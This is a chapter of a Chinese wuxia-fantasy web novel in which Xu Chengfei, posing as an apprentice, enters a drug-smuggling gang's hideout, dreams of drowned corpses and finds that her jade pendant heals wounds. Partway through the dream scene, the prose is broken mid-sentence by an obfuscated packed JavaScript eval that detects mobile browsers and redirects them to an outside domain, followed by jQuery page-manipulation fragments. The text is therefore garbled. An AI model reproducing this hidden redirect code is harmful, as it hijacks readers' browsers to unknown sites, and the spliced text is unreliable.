26.第 26 章
作品:《少侠每天只想躺平》 肖义文提着一盏灯笼跨入城隍庙。她扫了一眼庙内的景象,毫不在意地跨过地上沾满血迹的大刀,缓步走入破败的大殿。
她在土地婆前停住,凝神细听,神像后传来一阵窸窸窣窣的动静。
她抬起灯笼探向那片黑暗,烛光印出了一张脏兮兮的脸。
徐澄飞裹着一件花花绿绿的外衣朝肖义文挤出一丝笑容:
“大老板,您是来这儿找我的吗?”
肖义文眼底闪过一抹惊诧,很快又恢复了平静。她看了一眼徐澄飞那件从土地婆身上扒下来的神袍,皱眉道:
“你这是在干什么?”
徐澄飞双手抱胸紧了紧衣领,血迹被掩盖在宽大的袖袍下,语气里透出几分委屈:
“二老板让我来找她,可一进来就是这般景象,我便猜到老板是因为什么事情耽搁了。但我不知道去哪里寻她,又不敢违抗老板的命令,只好在这里一直等着。”
她举起袖子补充道:
“晚上太冷了,这袍子虽然破旧,也还能勉强挡挡风。”
肖义文沉默了几秒,似乎接受了这个解释,开口道:
“你随我来吧。”
徐澄飞眼巴巴地望着她,还是不肯动。
肖义文轻叹一声,解释道:
“义天今天不会来这儿了。城北的齐秀才带了一拨人来闹事,引来了官府的注意,抓了好几个人。我们的货也丢了几批,义天正忙着找货呢。”
徐澄飞这才起身跟着她走出城隍庙。烛光远去,身后的土地婆渐渐被淹没在夜色之中。
“大老板,‘齐秀才’是跟二老板有什么仇吗?”徐澄飞问道。
肖义文领着她往坟地的方向走,耐心道:
“‘齐秀才’是管城北一带的生意的,她与我们本是互不干扰,各行其事。但是最近进了一批新货,她觉得自己分少了,怀疑是我们动了手脚,便来找义天的麻烦了。”
徐澄飞意识到这是个不错的机会,继续追问道:
“她想要更多的货为什么不多进一些?”
肖义文轻声笑了笑,却仍然给她解答了这个问题:
“如今仙桃在京中需求很大,那些贵人们认为此物有通神之效,吸食后可净化体内的浊物,用这个来炼丹,修仙的人更是数不胜数。当然,某个信奉邪神的组织成员也是我们的一大客户来源。”
看来密教会的人也经常与这群贩子交易,莫非肖家和那个齐秀才便是整个大都仙桃市场的垄断者?
“然而仙桃这东西并不是什么随便就能挖到的石头。它们深埋在大荣西部的丘陵和古河道之下,矿床产量小且很分散,光是挖掘就要消耗许多人力物力,更别说运输路途中会受到阻拦以及产生损耗了。就算是从前作为装饰品也是十分稀有的。哪里是想要多少就能有多少的呢?”
“那老板们要是把握了货源,岂不就能赚所有人的钱了?还关齐秀才什么事?”
肖义文闻言,淡淡地扫了徐澄飞一样,轻飘飘道:
“干好自己的活,赚自己这份钱,守住界限才能将生意做得长久。”
徐澄飞知道她在警告自己,便不敢再多问。
到达坟地后,她发现树木掩映下有两个持刀的人守着,仔细分辨能看到他们中间有一个能容一人过的空气漩涡。
两人见到肖义文,皆恭敬道:
“大老板好。”
肖义文点点头,问道:
“其他人呢,有消息吗?”
其中一个人担忧地摇摇头:
“没呢,都还在找。”
“嗯,实在不行就先回去吧,传送开太久会影响义天那边。”
两个守卫一齐应声。
徐澄飞跟着肖义文迈进漩涡,转眼间到了一个灯火通明的院子中。院子里开了好几个空气旋涡,一些人拿着武器在其中来来往往地穿梭。院外隐约能看见树木掩映之后的荒田——这里应该就是上次卸下男丁的山庄了。
院中央搭着一把小藤椅,肖义天跨坐在上面,瞳色鲜红,神情凝重。
野沟鼠在旁边给她递茶,她烦躁地将人挥开了。
肖义文走到她身前,她立刻站了起来,焦急道:
“大姐,你找到五妹了吗?”
肖义文摇摇头,又宽慰地环住肖义天垂下的肩膀:
“你只管做好你今晚该做的事,其他的事明天再说,那么一个大活人不可能凭空消失。你瞧,五妹没找到,我倒是先碰上你徒儿了。”
徐澄飞心虚地上前一步——这个“大活人”恐怕已经在土地婆的肚子里变成一堆白骨了。
肖义天看见她,嘴角勉强扯开了一下,疲惫道:
“也好,石榴庄里总算来了个有用的人,你去帮姐妹们...”
肖义文却迅速接过了话头:
“让她去打理母亲的事吧,正好缺了个位置。”
肖义天先是有些诧异,随即便叫人将徐澄飞带走了。
徐澄飞也有同样的疑惑,这个大老板之前还不欢迎自己进这个什么石榴庄,怎的现在突然变了脸?她直觉不太对劲,开始默默规划着逃跑路线。
她被人带到山庄后院的一个小房间。当她向那人问问这里是什么情况时,那人摆了摆手,悄声道:
“大王睡眠浅,少侠先休息吧,明日自会有人叫你。”
看来这山庄里住了个脾气不太好的大王,连话都不让人说。徐澄飞只有闭嘴,她今天刚经历生死之劫,什么都不想管了,明天的事儿明天再说吧。
她简单擦洗后便躺在床上睡着了。但她这一觉睡得并不踏实。
她梦见自己在浑浊的江水中挣扎翻滚,浪沙吞没她的脑袋,她拼命探出头来,暴烈的日光却晒得她睁不开眼。又是一道浪卷过来,她在水下扑腾了好一会才浮出水面喘息,天空却已经是漆黑一片,皎皎银河在空中闪烁,美得极不真实。
好不容易抱住了一根浮木,她却看见岸边站满了人。那些人瘦的只剩一张皮盖在骨架上,两个眼眶深深地陷进去,眼珠凸得仿佛马上就要掉出来。他们呆滞地张着嘴巴,眼睛死死地盯着自己。
突然有一个老头喃喃了一句什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528028|184717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么,其他人也跟着重复起来。他们的声音汇在一起,越来越大,像是在念着一个咒语:
“有肉吃了!”
“有肉吃了!”
...
忽然,只听扑通一声,一个人跳入水中,接着所有人开始争先恐后地扑进水里。
徐澄飞看见四面八方被激起的浪花,吓得呛了一口水,手一滑便失去了浮木,再次被浪沙吞没。
等她睁开眼睛时,发现自己躺在平静的水面上,一条发臭的死鱼横在自己的肚皮上。有一个同样躺着的人从身旁经过。
她翻身踩水,游近一看,才发现那是一具已经泡胀了的浮尸。接着她抬头望去,烈日当空,宽阔的江面上,数不清的尸体在轻轻地上下浮动,每个人都皮肤惨白,身体肿胀,生前薄薄的皮肤被撑大了好几倍,仍然挂在空荡荡的骨架上。
没有呼喊,没有悲鸣,只有一片壮阔的死寂。
一只手轻轻碰到了徐澄飞的手臂,她浑身发抖,慢慢低头。尸体的脖子上有一道狰狞的伤口,那张脸被泡了很久,已经失去了正常的形态。但这张脸化成骨灰她也认得——那是徐澈的脸。
剧烈的疼痛将她从梦境中拉回现实。
“吾身长逝,吾儿长存。”
“万川归源,万灵无尊。”
...
她猛地坐起身,大口呼吸着空气,疼痛渐渐散去,里衣黏腻地贴在身上,手不知何时攥紧了伏虺的刀身,手心的血滴滴答答地流下,伤口隐隐作痛。
她忙松开刀,忽然感到胸口有个烫烫的东西抵着她。她将那东西掏出来,竟然是白天消失的鱼形玉佩!
玉佩散发着温润的光泽,照亮了她手中的伤口。伤口正迅速长出新肉,短短一分钟便愈合如初。
原来这玉佩能够修复伤口,让人血肉再生!而它夜晚时才会显现并且发挥作用,这也就解释了她在晚上从城隍庙醒来后身上没有任何伤口了。
果真是个神器!
这让她开始思考江湖上那些传闻的真实性。传闻虽然夸张,但必定是基于一些可靠的信息,至少她手上的这个神器不会作假。那么一定还有别的神器,有可能正在被人争夺,也有可能还没有被找到。
她虽然对找别的神器不感兴趣,但这一个她已经不想交给银海台了。江湖险恶,要想自己谋生当然是保命最重要,她又不是真要为银海台卖命。
不过她还是得打听一下有关神器的信息,以免因为不了解它的使用而因此找来麻烦。
天还没亮,屋外就响起了匆忙的脚步声。徐澄飞打开门,后院里有人来来往往地给中间的房间送东西。
一个走路风风火火的女人将她拉出来,用帕子胡乱给她擦了一下脸:
“你现在就进去,大王要跟你交代事情。”
徐澄飞被人推进了房间门,屋内有一张精致的木雕床,床脚跪着一个男人,床上的帷幔后是一位身形丰腴的女人,她的声音带着一丝刚睡醒的慵懒:
“你就是于飞?走近点,让我来看看我的好女儿给我寻来个什么样的帮手。”

